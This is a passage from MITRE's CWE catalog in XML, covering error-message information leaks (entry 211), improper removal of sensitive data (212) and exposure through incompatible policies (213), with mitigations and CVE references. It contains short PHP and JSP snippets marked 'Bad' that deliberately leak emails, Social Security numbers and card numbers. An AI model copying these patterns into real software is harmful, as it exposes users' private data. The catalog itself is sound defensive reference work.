               <Body_Text>If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that is not associated with a configuration file, an attacker could get this pathname from the error message. It could then be used to exploit path traversal, symbolic link following, or other problems that may exist elsewhere in the application.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1745</Reference>
               <Description>Infoleak of sensitive information in error message (physical access required).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1745</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Product-Generated Error Message Infoleak</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 12: Information Leakage.&#34; Page 191"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;Overly Verbose Error Messages&#34;, Page 75"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Name, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Functional_Areas, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Product-Generated Error Message Information Leak</Previous_Entry_Name>
            <Previous_Entry_Name Date="2012-10-30">Information Exposure Through Generated Error Message</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Self-generated Error Message</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="211" Name="Externally-Generated Error Message Containing Sensitive Information" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product performs an operation that triggers an external diagnostic or error message that is not directly generated or controlled by the product, such as an error generated by the programming language interpreter that a software application uses. The error can contain sensitive system information.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="209" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Often"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>PHP applications are often targeted for having this issue when the PHP interpreter generates the error outside of the application's control. However, other languages/environments exhibit the same issue.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable display_errors.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-40">
               <Phase>Implementation</Phase>
               <Phase>Build and Compilation</Phase>
               <Strategy>Compilation or Build Hardening</Strategy>
               <Description>Debugging information should not make its way into a production release.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-40">
               <Phase>Implementation</Phase>
               <Phase>Build and Compilation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Debugging information should not make its way into a production release.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-1581</Reference>
               <Description>chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1581</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1579</Reference>
               <Description>Single "'" inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1579</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0459</Reference>
               <Description>chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0459</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0443</Reference>
               <Description>invalid parameter triggers a failure to find an include file, leading to infoleak in error message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0443</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0433</Reference>
               <Description>Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0433</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1101</Reference>
               <Description>Improper handling of filename request with trailing "/" causes multiple consequences, including information leak in Visual Basic error message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1101</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Error Handling</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Product-External Error Message Infoleak</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This is inherently a resultant vulnerability from a weakness within the product or an interaction error.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Description, Enabling_Factors_for_Exploitation, Functional_Areas, Observed_Examples, Other_Notes, Potential_Mitigations, Relationship_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Product-External Error Message Information Leak</Previous_Entry_Name>
            <Previous_Entry_Name Date="2012-10-30">Information Exposure Through External Error Message</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Externally-Generated Error Message</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="212" Name="Improper Removal of Sensitive Information Before Storage or Transfer" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.</Description>
         <Extended_Description>
            <xhtml:p>Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.</xhtml:p>
            <xhtml:p>For example, a product for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="669" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="669" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="201" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Read Application Data</Impact>
               <Note>Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-33">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
               <Effectiveness_Notes>This makes it easier to spot places in the code where data is being used that is unencrypted.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code either generates a public HTML user information page or a JSON response containing the same user information.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>// API flag, output JSON if set</xhtml:i>
                     <xhtml:br/>$json = $_GET['json']<xhtml:br/>$username = $_GET['user']<xhtml:br/>if(!$json)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>$record = getUserRecord($username);<xhtml:br/>foreach($record as $fieldName =&gt; $fieldValue)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if($fieldName == "email_address") {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// skip displaying user emails</xhtml:i>
                                       <xhtml:br/>continue;</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">writeToHtmlPage($fieldName,$fieldValue);</xhtml:div>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>else<xhtml:br/>{<xhtml:div style="margin-left:1em;">$record = getUserRecord($username);<xhtml:br/>echo json_encode($record);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-0406</Reference>
               <Description>Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0406</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0704</Reference>
               <Description>NAT feature in firewall leaks internal IP addresses in ICMP error messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0704</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Cross-Boundary Cleansing Infoleak</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="168"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.</Note>
            <Note Type="Relationship">There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).</Note>
            <Note Type="Terminology">The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, Relationship_Notes, Relationships, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-12-28">Cross-boundary Cleansing Information Leak</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-02-16">Improper Cross-boundary Cleansing</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Improper Cross-boundary Removal of Sensitive Data</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="213" Name="Exposure of Sensitive Information Due to Incompatible Policies" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product's intended functionality exposes information to certain actors in accordance with the developer's security policy, but this information is regarded as sensitive according to the intended security policies of other stakeholders such as the product's administrator, users, or others whose information is being processed.</Description>
         <Extended_Description>
	   <xhtml:p>When handling information, the developer must consider whether the information is regarded as sensitive by different stakeholders, such as users or administrators.  Each stakeholder effectively has its own intended security policy that the product is expected to uphold.  When a developer does not treat that information as sensitive, this can introduce a vulnerability that violates the expectations of the product's users.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Policy</Phase>
	       <Note>This can occur when the product's policy does not account for all relevant stakeholders, or when the policies of other stakeholders are not interpreted properly.</Note>
            </Introduction>
            <Introduction>
               <Phase>Requirements</Phase>
	       <Note>This can occur when requirements do not explicitly account for all relevant stakeholders.</Note>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
	       <Note>Communications or data exchange frameworks may be chosen that exchange or provide access to more information than strictly needed.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
	       <Note>This can occur when the developer does not properly track the flow of sensitive information and how it is exposed, e.g., via an API.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-130">
               <Intro_Text>This code displays some information on a web page.</Intro_Text>
               <Example_Code Nature="Bad" Language="JSP">
                  <xhtml:div>Social Security Number: &lt;%= ssn %&gt;&lt;/br&gt;Credit Card Number: &lt;%= ccn %&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1725</Reference>
               <Description>Script calls phpinfo()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1725</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0033</Reference>
               <Description>Script calls phpinfo()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0033</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1181</Reference>
               <Description>Script calls phpinfo()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1181</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1422</Reference>
               <Description>Script calls phpinfo()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1422</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1590</Reference>
               <Description>Script calls phpinfo()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1590</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1038</Reference>
               <Description>Product lists DLLs and full pathnames.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1038</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1205</Reference>
               <Description>Telnet protocol allows servers to obtain sensitive environment information from clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1205</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0488</Reference>
               <Description>Telnet protocol allows servers to obtain sensitive environment information from clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0488</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
